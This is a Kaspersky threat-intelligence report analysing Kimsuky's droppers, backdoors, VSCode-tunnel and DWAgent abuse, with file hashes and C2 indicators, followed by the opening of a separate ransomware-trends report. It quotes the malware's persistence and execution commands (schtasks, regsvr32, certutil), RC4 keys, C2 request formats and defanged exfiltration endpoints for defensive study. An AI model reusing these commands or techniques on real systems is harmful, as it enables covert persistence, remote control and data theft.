Kaspersky Securelist

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

• Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
• Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
• The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
• For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
• For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
• Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed 1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor 2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice 3 security_20260126.scr – January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy 4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain 5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description “mcd” Set the current directory “msleep” Sleep for the provided time “install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name [command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting) ❌ Port is already in use 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

• result send fail (grammatically incorrect text)
• server request fail (grammatically incorrect text)
• command execute failed (grammatically incorrect text)
• decrytion failed (typos)
• autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

• (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
• (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
• (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
• (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
• (AppleSeed cluster) Use of the m= parameter in C2 communication.
• (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description 0 Running under the SYSTEM account with an elevated token 1 Running under an elevated administrator account 2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description 1 Send the session identifier (parameter s) along with the current state (parameter a) 2 Request command 3 Send result after executing the command (parameter d) 8 Request directory to be archived and sent 9 Send the archived directory 10 Send a message like “.cmd” or “.tmp” (parameter d) 11 Send ping 12 Send the captured screenshot (parameter d) 13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description 0 httpMalice has been activated 1 httpMalice has been inactivated (upon command 9) 2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description 0 Do nothing 1 Execute the command with EUC-KR encoding 2 Download and extract the file to the infected device 3 Upload a directory to the C2 server after it has been archived 5 Get the current directory 6 Set the current directory 7 Execute the command without setting a EUC-KR character set 8 Remove its persistence traces and exit the process 9 Hibernate 10 Execute the command using the provided session ID 12 Capture the screen 13 Load the downloaded payload into memory MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source 1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip 2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

1. Executes code.exe tunnel.
2. Searches for the “Microsoft Account” string in the stdout.
3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
4. Searches for the “use code” string in the stdout.
5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
6. Searches for the “What would you like to call this machine?” string in the stdout.
7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

• c:\programdata\dwagent\native\dwagsvc.exe installService
• c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{ "enabled": true, "key": "kDRNGmWGTMpjQmREgQzU", "listen_port": 7950, "nodes": [ { "id": "ND896147", "port": "443", "server": "node896147.dwservice[.]net" }, { "id": "ND828765", "port": "443", "server": "node828765.dwservice[.]net" }, { "id": "ND484265", "port": "443", "server": "node484265.dwservice[.]net" } ], "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=", "url_primary": "hxxps://www.dwservice[.]net/" }

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.

Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:

• New families continue to emerge, adopting post-quantum cryptography ciphers.
• As ransom payments drop, some groups implement encryptionless extortion attacks.
• In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.

Ransomware attacks decline but remain a major threat

According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.

Percentage of organizations affected by ransomware attacks by region, 2025 (download)

Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.

The continued rise of EDR killers and defense evasion tooling

In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.

Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.

Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.

The appearance of new families adopting post-quantum cryptography

We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.

One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.

Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.

The shift to encryptionless extortion

In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.

